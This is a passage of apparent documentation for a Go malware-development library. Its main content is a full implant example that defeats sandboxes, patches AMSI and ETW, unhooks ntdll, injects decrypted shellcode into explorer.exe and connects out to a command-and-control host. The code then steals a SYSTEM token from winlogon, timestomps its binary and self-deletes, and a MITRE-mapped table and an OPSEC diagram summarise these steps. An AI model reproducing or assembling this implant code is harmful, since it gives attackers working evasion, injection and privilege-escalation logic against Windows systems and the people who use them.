        D2[Malleable HTTP<br>jQuery CDN profile]
    end

    subgraph "5. Post-Exploitation"
        E1[Steal SYSTEM token]
        E2[Impersonate user]
        E3[Execute as admin]
    end

    subgraph "6. Cleanup"
        F1[Wipe shellcode memory]
        F2[Timestomp artifacts]
        F3[Self-delete binary]
    end

Code

package main

import (
    "context"
    "os"
    "time"

    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/cleanup/selfdelete"
    "github.com/oioio-space/maldev/cleanup/timestomp"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/recon/antivm"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/recon/hwbp"
    "github.com/oioio-space/maldev/recon/sandbox"
    "github.com/oioio-space/maldev/recon/timing"
    "github.com/oioio-space/maldev/evasion/unhook"
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/process/enum"
    "github.com/oioio-space/maldev/win/token"
    winver "github.com/oioio-space/maldev/win/version"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    // ── Phase 1: Reconnaissance ─────────────────────────────────

    // Anti-sandbox: CPU burn defeats Sleep fast-forwarding
    timing.BusyWaitTrig(200 * time.Millisecond)

    // Check if we're in a VM
    if vmName, _ := antivm.Detect(antivm.DefaultConfig()); vmName != "" {
        os.Exit(0) // abort in VM
    }

    // Check sandbox indicators. IsSandboxed takes a context (so heavy probes
    // like artifact scans can be cancelled) and returns (hit, reason, err).
    checker := sandbox.New(sandbox.DefaultConfig())
    if sandboxed, _, _ := checker.IsSandboxed(context.Background()); sandboxed {
        os.Exit(0) // abort in sandbox
    }

    // Verify vulnerable Windows version (if exploiting CVE)
    ver, _ := winver.Windows()
    _ = ver // use for version-specific behavior

    // ── Phase 2: Evasion ────────────────────────────────────────

    // Clear hardware breakpoints (CrowdStrike, SentinelOne)
    hwbp.ClearAll()

    // Create indirect syscall Caller with API hashing
    caller := wsyscall.New(wsyscall.MethodIndirect,
        wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()))

    // Disable all defenses
    evasion.ApplyAll([]evasion.Technique{
        amsi.ScanBufferPatch(),
        amsi.OpenSessionPatch(),
        etw.All(),
        unhook.Full(),
    }, caller)

    // ── Phase 3: Inject ─────────────────────────────────────────

    // Decrypt shellcode (AES-256-GCM)
    key := []byte{/* 32-byte key from build */}
    shellcode, _ := crypto.DecryptAESGCM(key, []byte{/* encrypted payload */})

    // Find target process
    procs, _ := enum.FindByName("explorer.exe")
    if len(procs) == 0 {
        return
    }
    targetPID := int(procs[0].PID)

    // Inject via section mapping (no WriteProcessMemory)
    inject.SectionMapInject(targetPID, shellcode, caller)

    // Cleanup shellcode from our memory
    memory.SecureZero(shellcode)

    // ── Phase 4: C2 Communication ───────────────────────────────

    // Connect with Chrome JA3 fingerprint
    c2 := transport.NewUTLS("c2.example.com:443", 30*time.Second,
        transport.WithJA3Profile(transport.JA3Chrome),
        transport.WithUTLSInsecure(true),
    )
    ctx := context.Background()
    c2.Connect(ctx)
    defer c2.Close()

    // ── Phase 5: Post-Exploitation ──────────────────────────────

    // Steal SYSTEM token from winlogon
    tok, _ := token.StealByName("winlogon.exe")
    if tok != nil {
        defer tok.Close()
        tok.EnableAllPrivileges()
        // Use tok for elevated operations...
    }

    // ── Phase 6: Cleanup ────────────────────────────────────────

    // Timestomp our binary to blend in
    timestomp.SetFull(os.Args[0],
        time.Date(2023, 6, 15, 10, 0, 0, 0, time.UTC),
        time.Date(2023, 6, 15, 10, 0, 0, 0, time.UTC),
        time.Date(2023, 6, 15, 10, 0, 0, 0, time.UTC),
    )

    // Self-delete the binary from disk
    selfdelete.Run()
}

Phase-by-Phase Explanation

PhaseTechniques UsedMITREPurpose
ReconBusyWaitTrig, antivm, sandboxT1497Abort if analyzed
EvasionHW breakpoints, AMSI, ETW, unhookT1562Blind the defenses
InjectSection mapping + CallerT1055Execute in target
C2uTLS + Chrome JA3T1573Covert communication
Post-ExToken theft + privilegeT1134Elevate to SYSTEM
CleanupMemory wipe, timestomp, self-deleteT1070Cover tracks

OPSEC Layers Active

graph LR
    subgraph "Binary Level"
        A[garble obfuscation]
        B[pe/strip sanitization]
        C[CallByHash — no strings]
    end
    subgraph "Runtime Level"
        D[HW breakpoint clear]
        E[AMSI + ETW patched]
        F[ntdll unhooked]
        G[Indirect syscalls]
    end
    subgraph "Network Level"
        H[uTLS Chrome JA3]
        I[Malleable HTTP profile]
        J[Certificate pinning]
    end
    subgraph "Memory Level"
        K[Sleep mask encryption]
        L[RW→RX cycling]
        M[SecureZero cleanup]
    end